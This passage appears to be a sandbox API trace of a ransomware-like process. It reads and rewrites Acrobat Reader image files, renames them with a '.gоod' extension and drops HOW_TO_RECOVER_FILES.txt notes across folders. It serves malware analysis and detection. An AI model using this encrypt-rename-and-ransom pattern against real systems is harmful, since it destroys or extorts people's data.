DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png", lpFilePart=0x0) returned 0x8b [0186.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0186.785] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0186.785] GetFileType (hFile=0x81c) returned 0x1 [0186.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0186.785] GetFileType (hFile=0x81c) returned 0x1 [0186.785] SetFilePointer (in: hFile=0x81c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0186.785] ReadFile (in: hFile=0x81c, lpBuffer=0x36cf178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x36cf178*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0187.234] CloseHandle (hObject=0x81c) returned 1 [0187.235] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png", lpFilePart=0x0) returned 0x8b [0187.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0187.235] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0187.235] GetFileType (hFile=0x81c) returned 0x1 [0187.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0187.235] GetFileType (hFile=0x81c) returned 0x1 [0187.235] SetFilePointer (in: hFile=0x81c, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x20bc [0187.235] WriteFile (in: hFile=0x81c, lpBuffer=0x390a568*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x390a568*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0187.236] CloseHandle (hObject=0x81c) returned 1 [0187.236] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png", lpFilePart=0x0) returned 0x8b [0187.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0187.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0187.237] GetFileType (hFile=0x81c) returned 0x1 [0187.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0187.237] GetFileType (hFile=0x81c) returned 0x1 [0187.237] ReadFile (in: hFile=0x81c, lpBuffer=0x390c900, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x390c900*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0187.278] CloseHandle (hObject=0x81c) returned 1 [0187.278] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png", lpFilePart=0x0) returned 0x8b [0187.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0187.278] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0187.278] GetFileType (hFile=0x81c) returned 0x1 [0187.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0187.278] GetFileType (hFile=0x81c) returned 0x1 [0187.278] WriteFile (in: hFile=0x81c, lpBuffer=0x390b5d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x390b5d0*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0187.278] CloseHandle (hObject=0x81c) returned 1 [0187.278] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png", lpFilePart=0x0) returned 0x8b [0187.278] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png.gоod", lpFilePart=0x0) returned 0x90 [0187.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0187.279] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6bd634db, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20cc)) returned 1 [0187.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0187.279] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png.gоod")) returned 1 [0187.280] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png", lpFilePart=0x0) returned 0x92 [0187.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0187.280] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x3988f50 | out: lpFileInformation=0x3988f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c)) returned 1 [0187.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0187.280] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png", lpFilePart=0x0) returned 0x92 [0187.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0187.280] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0187.280] GetFileType (hFile=0x81c) returned 0x1 [0187.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0187.280] GetFileType (hFile=0x81c) returned 0x1 [0187.281] SetFilePointer (in: hFile=0x81c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0187.281] ReadFile (in: hFile=0x81c, lpBuffer=0x39894b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x39894b8*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0187.417] CloseHandle (hObject=0x81c) returned 1 [0188.051] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png", lpFilePart=0x0) returned 0x92 [0188.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0188.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0188.051] GetFileType (hFile=0x820) returned 0x1 [0188.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0188.051] GetFileType (hFile=0x820) returned 0x1 [0188.051] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x456c [0188.051] WriteFile (in: hFile=0x820, lpBuffer=0x382b918*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x382b918*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0188.052] CloseHandle (hObject=0x820) returned 1 [0188.052] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png", lpFilePart=0x0) returned 0x92 [0188.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0188.052] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0188.052] GetFileType (hFile=0x820) returned 0x1 [0188.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0188.052] GetFileType (hFile=0x820) returned 0x1 [0188.053] ReadFile (in: hFile=0x820, lpBuffer=0x382dc80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x382dc80*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0188.093] CloseHandle (hObject=0x820) returned 1 [0188.093] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png", lpFilePart=0x0) returned 0x92 [0188.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0188.093] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0189.555] GetFileType (hFile=0x820) returned 0x1 [0189.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0189.555] GetFileType (hFile=0x820) returned 0x1 [0189.555] WriteFile (in: hFile=0x820, lpBuffer=0x3741fe0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x3741fe0*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0189.555] CloseHandle (hObject=0x820) returned 1 [0189.555] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png", lpFilePart=0x0) returned 0x92 [0189.556] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png.gоod", lpFilePart=0x0) returned 0x97 [0189.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0189.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6d338941, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x457c)) returned 1 [0189.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0189.556] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png.gоod")) returned 1 [0189.557] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x96 [0189.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0189.557] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0189.557] GetFileType (hFile=0x820) returned 0x1 [0189.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0189.557] GetFileType (hFile=0x820) returned 0x1 [0189.558] WriteFile (in: hFile=0x820, lpBuffer=0x3973c10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3973c10*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0189.559] CloseHandle (hObject=0x820) returned 1 [0189.559] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x91 [0189.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebec0) returned 1 [0189.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0189.560] GetFileType (hFile=0x820) returned 0x1 [0189.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe30) returned 1 [0189.560] GetFileType (hFile=0x820) returned 0x1 [0189.561] WriteFile (in: hFile=0x820, lpBuffer=0x39775a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ebf88, lpOverlapped=0x0 | out: lpBuffer=0x39775a8*, lpNumberOfBytesWritten=0x203ebf88*=0x5d0, lpOverlapped=0x0) returned 1 [0189.562] CloseHandle (hObject=0x820) returned 1 [0189.562] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ec3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0189.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec8f0) returned 1 [0189.562] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0189.563] GetFileType (hFile=0x820) returned 0x1 [0189.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec860) returned 1 [0189.563] GetFileType (hFile=0x820) returned 0x1 [0189.563] WriteFile (in: hFile=0x820, lpBuffer=0x397af20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ec9b8, lpOverlapped=0x0 | out: lpBuffer=0x397af20*, lpNumberOfBytesWritten=0x203ec9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0189.564] CloseHandle (hObject=0x820) returned 1 [0189.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0189.565] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js", lpFilePart=0x0) returned 0x6d [0189.565] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdd1d0 [0189.565] FindNextFileW (in: hFindFile=0x1ecdd1d0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0189.566] FindNextFileW (in: hFindFile=0x1ecdd1d0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0189.566] FindNextFileW (in: hFindFile=0x1ecdd1d0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, 